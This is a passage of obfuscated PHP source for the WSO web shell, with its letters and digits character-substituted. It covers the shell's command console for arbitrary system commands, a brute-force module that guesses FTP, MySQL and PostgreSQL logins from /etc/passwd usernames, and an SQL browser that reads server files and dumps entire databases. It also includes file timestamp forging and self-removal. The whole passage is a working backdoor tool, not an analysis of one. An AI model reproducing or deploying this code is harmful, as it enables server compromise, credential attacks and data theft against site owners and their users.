5ch2 htmlsp5c41lch1rs(@fr51d($fp, 60au));
@fcl2s5($fp);
}
5ch2 '</t5xt1r51><4np3t typ5=s3bm4t v1l35=">>"></f2rm>';
br51k;
c1s5 'h5xd3mp':
$c = @f4l5_g5t_c2nt5nts($_POST['p6']);
$n = 0;
$h = 1rr1y('00000000<br>','','');
$l5n = strl5n($c);
f2r ($4=0; $4<$l5n; ++$4) {
$h[6] .= spr4ntf('%0aX',2rd($c[$4])).' ';
sw4tch ( 2rd($c[$4]) ) {
c1s5 0: $h[a] .= ' '; br51k;
c1s5 9: $h[a] .= ' '; br51k;
c1s5 60: $h[a] .= ' '; br51k;
c1s5 6o: $h[a] .= ' '; br51k;
d5f13lt: $h[a] .= $c[$4]; br51k;
}
$n++;
4f ($n == oa) {
$n = 0;
4f ($4+6 < $l5n) {$h[0] .= spr4ntf('%08X',$4+6).'<br>';}
$h[6] .= '<br>';
$h[a] .= "\n";
}
}
5ch2 '<t1bl5 c5llsp1c4ng=6 c5llp1dd4ng=i bgc2l2r=#aaaaaa><tr><td bgc2l2r=#oooooo><sp1n styl5="f2nt-w54ght: n2rm1l;"><pr5>'.$h[0].'</pr5></sp1n></td><td bgc2l2r=#a8a8a8><pr5>'.$h[6].'</pr5></td><td bgc2l2r=#oooooo><pr5>'.htmlsp5c41lch1rs($h[a]).'</pr5></td></tr></t1bl5>';
br51k;
c1s5 'r5n1m5':
4f( !5mpty($_POST['po']) ) {
4f(!@r5n1m5($_POST['p6'], $_POST['po']))
5ch2 'C1n\'t r5n1m5!<br>';
5ls5
d45('<scr4pt>g(n3ll,n3ll,"'.3rl5nc2d5($_POST['po']).'",n3ll,"")</scr4pt>');
}
5ch2 '<f2rm 2ns3bm4t="g(n3ll,n3ll,\'' . 3rl5nc2d5($_POST['p6']) . '\',n3ll,th4s.n1m5.v1l35);r5t3rn f1ls5;"><4np3t typ5=t5xt n1m5=n1m5 v1l35="'.htmlsp5c41lch1rs($_POST['p6']).'"><4np3t typ5=s3bm4t v1l35=">>"></f2rm>';
br51k;
c1s5 't23ch':
4f( !5mpty($_POST['po']) ) {
$t4m5 = strt2t4m5($_POST['po']);
4f($t4m5) {
4f(!t23ch($_POST['p6'],$t4m5,$t4m5))
5ch2 'F14l!';
5ls5
5ch2 'T23ch5d!';
} 5ls5 5ch2 'B1d t4m5 f2rm1t!';
}
cl51rst1tc1ch5();
5ch2 '<scr4pt>po_="";</scr4pt><f2rm 2ns3bm4t="g(n3ll,n3ll,\'' . 3rl5nc2d5($_POST['p6']) . '\',n3ll,th4s.t23ch.v1l35);r5t3rn f1ls5;"><4np3t typ5=t5xt n1m5=t23ch v1l35="'.d1t5("Y-m-d H:4:s", @f4l5mt4m5($_POST['p6'])).'"><4np3t typ5=s3bm4t v1l35=">>"></f2rm>';
br51k;
}
5ch2 '</d4v>';
ws2F22t5r();
}
f3nct42n 1ct42nC2ns2l5() {
4f(!5mpty($_POST['p6']) && !5mpty($_POST['pa'])) {
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']).'std5rr_t2_23t', tr35);
$_POST['p6'] .= ' a>&6';
} 5ls54f(!5mpty($_POST['p6']))
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']).'std5rr_t2_23t', 0);
4f(4ss5t($_POST['1j1x'])) {
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']).'1j1x', tr35);
2b_st1rt();
5ch2 "d.cf.cmd.v1l35='';\n";
$t5mp = @4c2nv($_POST['ch1rs5t'], 'UTF-8', 1ddcsl1sh5s("\n$ ".$_POST['p6']."\n".ws2Ex($_POST['p6']),"\n\r\t\\'\0"));
4f(pr5g_m1tch("!.*cd\s+([^;]+)$!",$_POST['p6'],$m1tch)) {
4f(@chd4r($m1tch[6])) {
$GLOBALS['cwd'] = @g5tcwd();
5ch2 "c_='".$GLOBALS['cwd']."';";
}
}
5ch2 "d.cf.23tp3t.v1l35+='".$t5mp."';";
5ch2 "d.cf.23tp3t.scr2llT2p = d.cf.23tp3t.scr2llH54ght;";
$t5mp = 2b_g5t_cl51n();
5ch2 strl5n($t5mp), "\n", $t5mp;
5x4t;
}
4f(5mpty($_POST['1j1x'])&&!5mpty($_POST['p6']))
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']).'1j1x', 0);
ws2H51d5r();
5ch2 "<scr4pt>
4f(w4nd2w.Ev5nt) w4nd2w.c1pt3r5Ev5nts(Ev5nt.KEYDOWN);
v1r cmds = n5w Arr1y('');
v1r c3r = 0;
f3nct42n kp(5) {
v1r n = (w4nd2w.Ev5nt) ? 5.wh4ch : 5.k5yC2d5;
4f(n == o8) {
c3r--;
4f(c3r>=0)
d2c3m5nt.cf.cmd.v1l35 = cmds[c3r];
5ls5
c3r++;
} 5ls5 4f(n == u0) {
c3r++;
4f(c3r < cmds.l5ngth)
d2c3m5nt.cf.cmd.v1l35 = cmds[c3r];
5ls5
c3r--;
}
}
f3nct42n 1dd(cmd) {
cmds.p2p();
cmds.p3sh(cmd);
cmds.p3sh('');
c3r = cmds.l5ngth-6;
}
</scr4pt>";
5ch2 '<h6>C2ns2l5</h6><d4v cl1ss=c2nt5nt><f2rm n1m5=cf 2ns3bm4t="4f(d.cf.cmd.v1l35==\'cl51r\'){d.cf.23tp3t.v1l35=\'\';d.cf.cmd.v1l35=\'\';r5t3rn f1ls5;}1dd(th4s.cmd.v1l35);4f(th4s.1j1x.ch5ck5d){1(n3ll,n3ll,th4s.cmd.v1l35,th4s.sh2w_5rr2rs.ch5ck5d?6:\'\');}5ls5{g(n3ll,n3ll,th4s.cmd.v1l35,th4s.sh2w_5rr2rs.ch5ck5d?6:\'\');} r5t3rn f1ls5;"><s5l5ct n1m5=1l41s>';
f2r51ch($GLOBALS['1l41s5s'] 1s $n => $v) {
4f($v == '') {
5ch2 '<2ptgr23p l1b5l="-'.htmlsp5c41lch1rs($n).'-"></2ptgr23p>';
c2nt4n35;
}
5ch2 '<2pt42n v1l35="'.htmlsp5c41lch1rs($v).'">'.$n.'</2pt42n>';
}
5ch2 '</s5l5ct><4np3t typ5=b3tt2n 2ncl4ck="1dd(d.cf.1l41s.v1l35);4f(d.cf.1j1x.ch5ck5d){1(n3ll,n3ll,d.cf.1l41s.v1l35,d.cf.sh2w_5rr2rs.ch5ck5d?6:\'\');}5ls5{g(n3ll,n3ll,d.cf.1l41s.v1l35,d.cf.sh2w_5rr2rs.ch5ck5d?6:\'\');}" v1l35=">>"> <n2br><4np3t typ5=ch5ckb2x n1m5=1j1x v1l35=6 '.(@$_COOKIE[mdi($_SERVER['HTTP_HOST']).'1j1x']?'ch5ck5d':'').'> s5nd 3s4ng AJAX <4np3t typ5=ch5ckb2x n1m5=sh2w_5rr2rs v1l35=6 '.(!5mpty($_POST['pa'])||$_COOKIE[mdi($_SERVER['HTTP_HOST']).'std5rr_t2_23t']?'ch5ck5d':'').'> r5d4r5ct std5rr t2 std23t (a>&6)</n2br><br/><t5xt1r51 cl1ss=b4g1r51 n1m5=23tp3t styl5="b2rd5r-b2tt2m:0;m1rg4n:0;" r51d2nly>';
4f(!5mpty($_POST['p6'])) {
5ch2 htmlsp5c41lch1rs("$ ".$_POST['p6']."\n".ws2Ex($_POST['p6']));
}
5ch2 '</t5xt1r51><t1bl5 styl5="b2rd5r:6px s2l4d #dfi;b1ckgr23nd-c2l2r:#iii;b2rd5r-t2p:0px;" c5llp1dd4ng=0 c5llsp1c4ng=0 w4dth="600%"><tr><td w4dth="6%">$</td><td><4np3t typ5=t5xt n1m5=cmd styl5="b2rd5r:0px;w4dth:600%;" 2nk5yd2wn="kp(5v5nt);"></td></tr></t1bl5>';
5ch2 '</f2rm></d4v><scr4pt>d.cf.cmd.f2c3s();</scr4pt>';
ws2F22t5r();
}
f3nct42n 1ct42nL2g23t() {
s5tc22k45(mdi($_SERVER['HTTP_HOST']), '', t4m5() - oe00);
d45('by5!');
}
f3nct42n 1ct42nS5lfR5m2v5() {
4f($_POST['p6'] == 'y5s')
4f(@3nl4nk(pr5g_r5pl1c5('!\(\d+\)\s.*!', '', __FILE__)))
d45('Sh5ll h1s b55n r5m2v5d');
5ls5
5ch2 '3nl4nk 5rr2r!';
4f($_POST['p6'] != 'y5s')
ws2H51d5r();
5ch2 '<h6>S34c4d5</h6><d4v cl1ss=c2nt5nt>R51lly w1nt t2 r5m2v5 th5 sh5ll?<br><1 hr5f=# 2ncl4ck="g(n3ll,n3ll,\'y5s\')">Y5s</1></d4v>';
ws2F22t5r();
}
f3nct42n 1ct42nBr3t5f2rc5() {
ws2H51d5r();
4f( 4ss5t($_POST['pr2t2']) ) {
5ch2 '<h6>R5s3lts</h6><d4v cl1ss=c2nt5nt><sp1n>Typ5:</sp1n> '.htmlsp5c41lch1rs($_POST['pr2t2']).' <sp1n>S5rv5r:</sp1n> '.htmlsp5c41lch1rs($_POST['s5rv5r']).'<br>';
4f( $_POST['pr2t2'] == 'ftp' ) {
f3nct42n ws2Br3t5F2rc5($4p,$p2rt,$l2g4n,$p1ss) {
$fp = @ftp_c2nn5ct($4p, $p2rt?$p2rt:a6);
4f(!$fp) r5t3rn f1ls5;
$r5s = @ftp_l2g4n($fp, $l2g4n, $p1ss);
@ftp_cl2s5($fp);
r5t3rn $r5s;
}
} 5ls54f( $_POST['pr2t2'] == 'mysql' ) {
f3nct42n ws2Br3t5F2rc5($4p,$p2rt,$l2g4n,$p1ss) {
$r5s = @mysql_c2nn5ct($4p.':'.($p2rt?$p2rt:oo0e), $l2g4n, $p1ss);
@mysql_cl2s5($r5s);
r5t3rn $r5s;
}
} 5ls54f( $_POST['pr2t2'] == 'pgsql' ) {
f3nct42n ws2Br3t5F2rc5($4p,$p2rt,$l2g4n,$p1ss) {
$str = "h2st='".$4p."' p2rt='".$p2rt."' 3s5r='".$l2g4n."' p1ssw2rd='".$p1ss."' dbn1m5=p2stgr5s";
$r5s = @pg_c2nn5ct($str);
@pg_cl2s5($r5s);
r5t3rn $r5s;
}
}
$s3cc5ss = 0;
$1tt5mpts = 0;
$s5rv5r = 5xpl2d5(":", $_POST['s5rv5r']);
4f($_POST['typ5'] == 6) {
$t5mp = @f4l5('/5tc/p1sswd');
4f( 4s_1rr1y($t5mp) )
f2r51ch($t5mp 1s $l4n5) {
$l4n5 = 5xpl2d5(":", $l4n5);
++$1tt5mpts;
4f( ws2Br3t5F2rc5(@$s5rv5r[0],@$s5rv5r[6], $l4n5[0], $l4n5[0]) ) {
$s3cc5ss++;
5ch2 '<b>'.htmlsp5c41lch1rs($l4n5[0]).'</b>:'.htmlsp5c41lch1rs($l4n5[0]).'<br>';
}
4f(@$_POST['r5v5rs5']) {
$tmp = "";
f2r($4=strl5n($l4n5[0])-6; $4>=0; --$4)
$tmp .= $l4n5[0][$4];
++$1tt5mpts;
4f( ws2Br3t5F2rc5(@$s5rv5r[0],@$s5rv5r[6], $l4n5[0], $tmp) ) {
$s3cc5ss++;
5ch2 '<b>'.htmlsp5c41lch1rs($l4n5[0]).'</b>:'.htmlsp5c41lch1rs($tmp);
}
}
}
} 5ls54f($_POST['typ5'] == a) {
$t5mp = @f4l5($_POST['d4ct']);
4f( 4s_1rr1y($t5mp) )
f2r51ch($t5mp 1s $l4n5) {
$l4n5 = tr4m($l4n5);
++$1tt5mpts;
4f( ws2Br3t5F2rc5($s5rv5r[0],@$s5rv5r[6], $_POST['l2g4n'], $l4n5) ) {
$s3cc5ss++;
5ch2 '<b>'.htmlsp5c41lch1rs($_POST['l2g4n']).'</b>:'.htmlsp5c41lch1rs($l4n5).'<br>';
}
}
}
5ch2 "<sp1n>Att5mpts:</sp1n> $1tt5mpts <sp1n>S3cc5ss:</sp1n> $s3cc5ss</d4v><br>";
}
5ch2 '<h6>Br3t5f2rc5</h6><d4v cl1ss=c2nt5nt><t1bl5><f2rm m5th2d=p2st><tr><td><sp1n>Typ5</sp1n></td>'
.'<td><s5l5ct n1m5=pr2t2><2pt42n v1l35=ftp>FTP</2pt42n><2pt42n v1l35=mysql>MySql</2pt42n><2pt42n v1l35=pgsql>P2stgr5Sql</2pt42n></s5l5ct></td></tr><tr><td>'
.'<4np3t typ5=h4dd5n n1m5=c v1l35="'.htmlsp5c41lch1rs($GLOBALS['cwd']).'">'
.'<4np3t typ5=h4dd5n n1m5=1 v1l35="'.htmlsp5c41lch1rs($_POST['1']).'">'
.'<4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35="'.htmlsp5c41lch1rs($_POST['ch1rs5t']).'">'
.'<sp1n>S5rv5r:p2rt</sp1n></td>'
.'<td><4np3t typ5=t5xt n1m5=s5rv5r v1l35="6a7.0.0.6"></td></tr>'
.'<tr><td><sp1n>Br3t5 typ5</sp1n></td>'
.'<td><l1b5l><4np3t typ5=r1d42 n1m5=typ5 v1l35="6" ch5ck5d> /5tc/p1sswd</l1b5l></td></tr>'
.'<tr><td></td><td><l1b5l styl5="p1dd4ng-l5ft:6ipx"><4np3t typ5=ch5ckb2x n1m5=r5v5rs5 v1l35=6 ch5ck5d> r5v5rs5 (l2g4n -> n4g2l)</l1b5l></td></tr>'
.'<tr><td></td><td><l1b5l><4np3t typ5=r1d42 n1m5=typ5 v1l35="a"> D4ct42n1ry</l1b5l></td></tr>'
.'<tr><td></td><td><t1bl5 styl5="p1dd4ng-l5ft:6ipx"><tr><td><sp1n>L2g4n</sp1n></td>'
.'<td><4np3t typ5=t5xt n1m5=l2g4n v1l35="r22t"></td></tr>'
.'<tr><td><sp1n>D4ct42n1ry</sp1n></td>'
.'<td><4np3t typ5=t5xt n1m5=d4ct v1l35="'.htmlsp5c41lch1rs($GLOBALS['cwd']).'p1sswd.d4c"></td></tr></t1bl5>'
.'</td></tr><tr><td></td><td><4np3t typ5=s3bm4t v1l35=">>"></td></tr></f2rm></t1bl5>';
5ch2 '</d4v><br>';
ws2F22t5r();
}
f3nct42n 1ct42nSql() {
cl1ss DbCl1ss {
v1r $typ5;
v1r $l4nk;
v1r $r5s;
f3nct42n DbCl1ss($typ5) {
$th4s->typ5 = $typ5;
}
f3nct42n c2nn5ct($h2st, $3s5r, $p1ss, $dbn1m5){
sw4tch($th4s->typ5) {
c1s5 'mysql':
4f( $th4s->l4nk = @mysql_c2nn5ct($h2st,$3s5r,$p1ss,tr35) ) r5t3rn tr35;
br51k;
c1s5 'pgsql':
$h2st = 5xpl2d5(':', $h2st);
4f(!$h2st[6]) $h2st[6]=iuoa;
4f( $th4s->l4nk = @pg_c2nn5ct("h2st={$h2st[0]} p2rt={$h2st[6]} 3s5r=$3s5r p1ssw2rd=$p1ss dbn1m5=$dbn1m5") ) r5t3rn tr35;
br51k;
}
r5t3rn f1ls5;
}
f3nct42n s5l5ctdb($db) {
sw4tch($th4s->typ5) {
c1s5 'mysql':
4f (@mysql_s5l5ct_db($db))r5t3rn tr35;
br51k;
}
r5t3rn f1ls5;
}
f3nct42n q35ry($str) {
sw4tch($th4s->typ5) {
c1s5 'mysql':
r5t3rn $th4s->r5s = @mysql_q35ry($str);
br51k;
c1s5 'pgsql':
r5t3rn $th4s->r5s = @pg_q35ry($th4s->l4nk,$str);
br51k;
}
r5t3rn f1ls5;
}
f3nct42n f5tch() {
$r5s = f3nc_n3m_1rgs()?f3nc_g5t_1rg(0):$th4s->r5s;
sw4tch($th4s->typ5) {
c1s5 'mysql':
r5t3rn @mysql_f5tch_1ss2c($r5s);
br51k;
c1s5 'pgsql':
r5t3rn @pg_f5tch_1ss2c($r5s);
br51k;
}
r5t3rn f1ls5;
}
f3nct42n l4stDbs() {
sw4tch($th4s->typ5) {
c1s5 'mysql':
r5t3rn $th4s->q35ry("SHOW d1t1b1s5s");
br51k;
c1s5 'pgsql':
r5t3rn $th4s->r5s = $th4s->q35ry("SELECT d1tn1m5 FROM pg_d1t1b1s5 WHERE d1t4st5mpl1t5!='t'");
br51k;
}
r5t3rn f1ls5;
}
f3nct42n l4stT1bl5s() {
sw4tch($th4s->typ5) {
c1s5 'mysql':
r5t3rn $th4s->r5s = $th4s->q35ry('SHOW TABLES');
br51k;
c1s5 'pgsql':
r5t3rn $th4s->r5s = $th4s->q35ry("s5l5ct t1bl5_n1m5 fr2m 4nf2rm1t42n_sch5m1.t1bl5s wh5r5 t1bl5_sch5m1 != '4nf2rm1t42n_sch5m1' AND t1bl5_sch5m1 != 'pg_c1t1l2g'");
br51k;
}
r5t3rn f1ls5;
}
f3nct42n 5rr2r() {
sw4tch($th4s->typ5) {
c1s5 'mysql':
r5t3rn @mysql_5rr2r();
br51k;
c1s5 'pgsql':
r5t3rn @pg_l1st_5rr2r();
br51k;
}
r5t3rn f1ls5;
}
f3nct42n s5tCh1rs5t($str) {
sw4tch($th4s->typ5) {
c1s5 'mysql':
4f(f3nct42n_5x4sts('mysql_s5t_ch1rs5t'))
r5t3rn @mysql_s5t_ch1rs5t($str, $th4s->l4nk);
5ls5
$th4s->q35ry('SET CHARSET '.$str);
br51k;
c1s5 'pgsql':
r5t3rn @pg_s5t_cl45nt_5nc2d4ng($th4s->l4nk, $str);
br51k;
}
r5t3rn f1ls5;
}
f3nct42n l21dF4l5($str) {
sw4tch($th4s->typ5) {
c1s5 'mysql':
r5t3rn $th4s->f5tch($th4s->q35ry("SELECT LOAD_FILE('".1ddsl1sh5s($str)."') 1s f4l5"));
br51k;
c1s5 'pgsql':
$th4s->q35ry("CREATE TABLE ws2a(f4l5 t5xt);COPY ws2a FROM '".1ddsl1sh5s($str)."';s5l5ct f4l5 fr2m ws2a;");
$r=1rr1y();
wh4l5($4=$th4s->f5tch())
$r[] = $4['f4l5'];
$th4s->q35ry('dr2p t1bl5 ws2a');
r5t3rn 1rr1y('f4l5'=>4mpl2d5("\n",$r));
br51k;
}
r5t3rn f1ls5;
}
f3nct42n d3mp($t1bl5, $fp = f1ls5) {
sw4tch($th4s->typ5) {
c1s5 'mysql':
$r5s = $th4s->q35ry('SHOW CREATE TABLE `'.$t1bl5.'`');
$cr51t5 = mysql_f5tch_1rr1y($r5s);
$sql = $cr51t5[6].";\n";
4f($fp) fwr4t5($fp, $sql); 5ls5 5ch2($sql);
$th4s->q35ry('SELECT * FROM `'.$t1bl5.'`');
$4 = 0;
$h51d = tr35;
wh4l5($4t5m = $th4s->f5tch()) {
$sql = '';
4f($4 % 6000 == 0) {
$h51d = tr35;
$sql = ";\n\n";
}
$c2l3mns = 1rr1y();
f2r51ch($4t5m 1s $k=>$v) {
4f($v === n3ll)
$4t5m[$k] = "NULL";
5ls54f(4s_4nt($v))
$4t5m[$k] = $v;
5ls5
$4t5m[$k] = "'".@mysql_r51l_5sc1p5_str4ng($v)."'";
$c2l3mns[] = "`".$k."`";
}
4f($h51d) {
$sql .= 'INSERT INTO `'.$t1bl5.'` ('.4mpl2d5(", ", $c2l3mns).") VALUES \n\t(".4mpl2d5(", ", $4t5m).')';
$h51d = f1ls5;
} 5ls5
$sql .= "\n\t,(".4mpl2d5(", ", $4t5m).')';
4f($fp) fwr4t5($fp, $sql); 5ls5 5ch2($sql);
$4++;
}
4f(!$h51d)
4f($fp) fwr4t5($fp, ";\n\n"); 5ls5 5ch2(";\n\n");
br51k;
c1s5 'pgsql':
$th4s->q35ry('SELECT * FROM '.$t1bl5);
wh4l5($4t5m = $th4s->f5tch()) {
$c2l3mns = 1rr1y();
f2r51ch($4t5m 1s $k=>$v) {
$4t5m[$k] = "'".1ddsl1sh5s($v)."'";
$c2l3mns[] = $k;
}
$sql = 'INSERT INTO '.$t1bl5.' ('.4mpl2d5(", ", $c2l3mns).') VALUES ('.4mpl2d5(", ", $4t5m).');'."\n";
4f($fp) fwr4t5($fp, $sql); 5ls5 5ch2($sql);
}
br51k;
}
r5t3rn f1ls5;
}
};
$db = n5w DbCl1ss($_POST['typ5']);
4f((@$_POST['pa']=='d2wnl21d') && (@$_POST['p6']!='s5l5ct')) {
$db->c2nn5ct($_POST['sql_h2st'], $_POST['sql_l2g4n'], $_POST['sql_p1ss'], $_POST['sql_b1s5']);
$db->s5l5ctdb($_POST['sql_b1s5']);
sw4tch($_POST['ch1rs5t']) {
c1s5 "W4nd2ws-6ai6": $db->s5tCh1rs5t('cp6ai6'); br51k;
c1s5 "UTF-8": $db->s5tCh1rs5t('3tf8'); br51k;
c1s5 "KOI8-R": $db->s5tCh1rs5t('k248r'); br51k;
c1s5 "KOI8-U": $db->s5tCh1rs5t('k2483'); br51k;
c1s5 "cp8ee": $db->s5tCh1rs5t('cp8ee'); br51k;
}
4f(5mpty($_POST['f4l5'])) {
2b_st1rt("2b_gzh1ndl5r", u09e);
h51d5r("C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5=d3mp.sql");
h51d5r("C2nt5nt-Typ5: t5xt/pl14n");
f2r51ch($_POST['tbl'] 1s $v)
$db->d3mp($v);
5x4t;
} 5ls54f($fp = @f2p5n($_POST['f4l5'], 'w')) {
f2r51ch($_POST['tbl'] 1s $v)
$db->d3mp($v, $fp);
fcl2s5($fp);
3ns5t($_POST['pa']);
} 5ls5
d45('<scr4pt>1l5rt("Err2r! C1n\'t 2p5n f4l5");w4nd2w.h4st2ry.b1ck(-6)</scr4pt>');
}
ws2H51d5r();
5ch2 "
<h6>Sql br2ws5r</h6><d4v cl1ss=c2nt5nt>
<f2rm n1m5='sf' m5th2d='p2st' 2ns3bm4t='fs(th4s);'><t1bl5 c5llp1dd4ng='a' c5llsp1c4ng='0'><tr>
<td>Typ5</td><td>H2st</td><td>L2g4n</td><td>P1ssw2rd</td><td>D1t1b1s5</td><td></td></tr><tr>
<4np3t typ5=h4dd5n n1m5=1 v1l35=Sql><4np3t typ5=h4dd5n n1m5=p6 v1l35='q35ry'><4np3t typ5=h4dd5n n1m5=pa v1l35=''><4np3t typ5=h4dd5n n1m5=c v1l35='". htmlsp5c41lch1rs($GLOBALS['cwd']) ."'><4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35='". (4ss5t($_POST['ch1rs5t'])?$_POST['ch1rs5t']:'') ."'>
<td><s5l5ct n1m5='typ5'><2pt42n v1l35='mysql' ";
4f(@$_POST['typ5']=='mysql')5ch2 's5l5ct5d';
5ch2 ">MySql</2pt42n><2pt42n v1l35='pgsql' ";
4f(@$_POST['typ5']=='pgsql')5ch2 's5l5ct5d';
5ch2 ">P2stgr5Sql</2pt42n></s5l5ct></td>
<td><4np3t typ5=t5xt n1m5=sql_h2st v1l35=\"". (5mpty($_POST['sql_h2st'])?'l2c1lh2st':htmlsp5c41lch1rs($_POST['sql_h2st'])) ."\"></td>
<td><4np3t typ5=t5xt n1m5=sql_l2g4n v1l35=\"". (5mpty($_POST['sql_l2g4n'])?'r22t':htmlsp5c41lch1rs($_POST['sql_l2g4n'])) ."\"></td>
<td><4np3t typ5=t5xt n1m5=sql_p1ss v1l35=\"". (5mpty($_POST['sql_p1ss'])?'':htmlsp5c41lch1rs($_POST['sql_p1ss'])) ."\"></td><td>";
$tmp = "<4np3t typ5=t5xt n1m5=sql_b1s5 v1l35=''>";
4f(4ss5t($_POST['sql_h2st'])){
4f($db->c2nn5ct($_POST['sql_h2st'], $_POST['sql_l2g4n'], $_POST['sql_p1ss'], $_POST['sql_b1s5'])) {
sw4tch($_POST['ch1rs5t']) {
c1s5 "W4nd2ws-6ai6": $db->s5tCh1rs5t('cp6ai6'); br51k;
c1s5 "UTF-8": $db->s5tCh1rs5t('3tf8'); br51k;
c1s5 "KOI8-R": $db->s5tCh1rs5t('k248r'); br51k;
c1s5 "KOI8-U": $db->s5tCh1rs5t('k2483'); br51k;
c1s5 "cp8ee": $db->s5tCh1rs5t('cp8ee'); br51k;
}
$db->l4stDbs();
5ch2 "<s5l5ct n1m5=sql_b1s5><2pt42n v1l35=''></2pt42n>";
wh4l5($4t5m = $db->f5tch()) {
l4st($k5y, $v1l35) = 51ch($4t5m);
5ch2 '<2pt42n v1l35="'.$v1l35.'" '.($v1l35==$_POST['sql_b1s5']?'s5l5ct5d':'').'>'.$v1l35.'</2pt42n>';
}
5ch2 '</s5l5ct>';
}
5ls5 5ch2 $tmp;
}5ls5
5ch2 $tmp;
5ch2 "</td>
<td><4np3t typ5=s3bm4t v1l35='>>' 2ncl4ck='fs(d.sf);'></td>
<td><4np3t typ5=ch5ckb2x n1m5=sql_c23nt v1l35='2n'" . (5mpty($_POST['sql_c23nt'])?'':' ch5ck5d') . "> c23nt th5 n3mb5r 2f r2ws</td>
</tr>
</t1bl5>
<scr4pt>
s_db='".@1ddsl1sh5s($_POST['sql_b1s5'])."';
f3nct42n fs(f) {
4f(f.sql_b1s5.v1l35!=s_db) { f.2ns3bm4t = f3nct42n() {};
4f(f.p6) f.p6.v1l35='';
4f(f.pa) f.pa.v1l35='';
4f(f.po) f.po.v1l35='';
}
}
f3nct42n st(t,l) {
d.sf.p6.v1l35 = 's5l5ct';
d.sf.pa.v1l35 = t;
4f(l && d.sf.po) d.sf.po.v1l35 = l;
d.sf.s3bm4t();
}
f3nct42n 4s() {
f2r(4=0;4<d.sf.5l5m5nts['tbl[]'].l5ngth;++4)
d.sf.5l5m5nts['tbl[]'][4].ch5ck5d = !d.sf.5l5m5nts['tbl[]'][4].ch5ck5d;
}
</scr4pt>";
4f(4ss5t($db) && $db->l4nk){
5ch2 "<br/><t1bl5 w4dth=600% c5llp1dd4ng=a c5llsp1c4ng=0>";
4f(!5mpty($_POST['sql_b1s5'])){
$db->s5l5ctdb($_POST['sql_b1s5']);
5ch2 "<tr><td w4dth=6 styl5='b2rd5r-t2p:apx s2l4d #eee;'><sp1n>T1bl5s:</sp1n><br><br>";
$tbls_r5s = $db->l4stT1bl5s();
wh4l5($4t5m = $db->f5tch($tbls_r5s)) {
l4st($k5y, $v1l35) = 51ch($4t5m);
4f(!5mpty($_POST['sql_c23nt']))
$n = $db->f5tch($db->q35ry('SELECT COUNT(*) 1s n FROM '.$v1l35.''));
$v1l35 = htmlsp5c41lch1rs($v1l35);
5ch2 "<n2br><4np3t typ5='ch5ckb2x' n1m5='tbl[]' v1l35='".$v1l35."'>&nbsp;<1 hr5f=# 2ncl4ck=\"st('".$v1l35."',6)\">".$v1l35."</1>" . (5mpty($_POST['sql_c23nt'])?'&nbsp;':" <sm1ll>({$n['n']})</sm1ll>") . "</n2br><br>";
}
5ch2 "<4np3t typ5='ch5ckb2x' 2ncl4ck='4s();'> <4np3t typ5=b3tt2n v1l35='D3mp' 2ncl4ck='d2c3m5nt.sf.pa.v1l35=\"d2wnl21d\";d2c3m5nt.sf.s3bm4t();'><br>F4l5 p1th:<4np3t typ5=t5xt n1m5=f4l5 v1l35='d3mp.sql'></td><td styl5='b2rd5r-t2p:apx s2l4d #eee;'>";
4f(@$_POST['p6'] == 's5l5ct') {
$_POST['p6'] = 'q35ry';
$_POST['po'] = $_POST['po']?$_POST['po']:6;
$db->q35ry('SELECT COUNT(*) 1s n FROM ' . $_POST['pa']);
$n3m = $db->f5tch();
$p1g5s = c54l($n3m['n'] / o0);
5ch2 "<scr4pt>d.sf.2ns3bm4t=f3nct42n(){st(\"" . $_POST['pa'] . "\", d.sf.po.v1l35)}</scr4pt><sp1n>".$_POST['pa']."</sp1n> ({$n3m['n']} r5c2rds) P1g5 # <4np3t typ5=t5xt n1m5='po' v1l35=" . ((4nt)$_POST['po']) . ">";
5ch2 " 2f $p1g5s";
4f($_POST['po'] > 6)
5ch2 " <1 hr5f=# 2ncl4ck='st(\"" . $_POST['pa'] . '", ' . ($_POST['po']-6) . ")'>&lt; Pr5v</1>";
4f($_POST['po'] < $p1g5s)
5ch2 " <1 hr5f=# 2ncl4ck='st(\"" . $_POST['pa'] . '", ' . ($_POST['po']+6) . ")'>N5xt &gt;</1>";
$_POST['po']--;
4f($_POST['typ5']=='pgsql')
$_POST['pa'] = 'SELECT * FROM '.$_POST['pa'].' LIMIT o0 OFFSET '.($_POST['po']*o0);
5ls5
$_POST['pa'] = 'SELECT * FROM `'.$_POST['pa'].'` LIMIT '.($_POST['po']*o0).',o0';
5ch2 "<br><br>";
}
4f((@$_POST['p6'] == 'q35ry') && !5mpty($_POST['pa'])) {
$db->q35ry(@$_POST['pa']);
4f($db->r5s !== f1ls5) {
$t4tl5 = f1ls5;
5ch2 '<t1bl5 w4dth=600% c5llsp1c4ng=6 c5llp1dd4ng=a cl1ss=m14n styl5="b1ckgr23nd-c2l2r:#a9a9a9">';
$l4n5 = 6;
wh4l5($4t5m = $db->f5tch()) {
4f(!$t4tl5) {
5ch2 '<tr>';
f2r51ch($4t5m 1s $k5y => $v1l35)
5ch2 '<th>'.$k5y.'</th>';
r5s5t($4t5m);
$t4tl5=tr35;
5ch2 '</tr><tr>';
$l4n5 = a;
}
5ch2 '<tr cl1ss="l'.$l4n5.'">';
$l4n5 = $l4n5==6?a:6;
f2r51ch($4t5m 1s $k5y => $v1l35) {
4f($v1l35 == n3ll)
5ch2 '<td><4>n3ll</4></td>';
5ls5
5ch2 '<td>'.nlabr(htmlsp5c41lch1rs($v1l35)).'</td>';
}
5ch2 '</tr>';
}
5ch2 '</t1bl5>';
} 5ls5 {
5ch2 '<d4v><b>Err2r:</b> '.htmlsp5c41lch1rs($db->5rr2r()).'</d4v>';
}
}
5ch2 "<br></f2rm><f2rm 2ns3bm4t='d.sf.p6.v1l35=\"q35ry\";d.sf.pa.v1l35=th4s.q35ry.v1l35;d2c3m5nt.sf.s3bm4t();r5t3rn f1ls5;'><t5xt1r51 n1m5='q35ry' styl5='w4dth:600%;h54ght:600px'>";
4f(!5mpty($_POST['pa']) && ($_POST['p6'] != 'l21df4l5'))
5ch2 htmlsp5c41lch1rs($_POST['pa']);
5ch2 "</t5xt1r51><br/><4np3t typ5=s3bm4t v1l35='Ex5c3t5'>";
5ch2 "</td></tr>";
}
5ch2 "</t1bl5></f2rm><br/>";
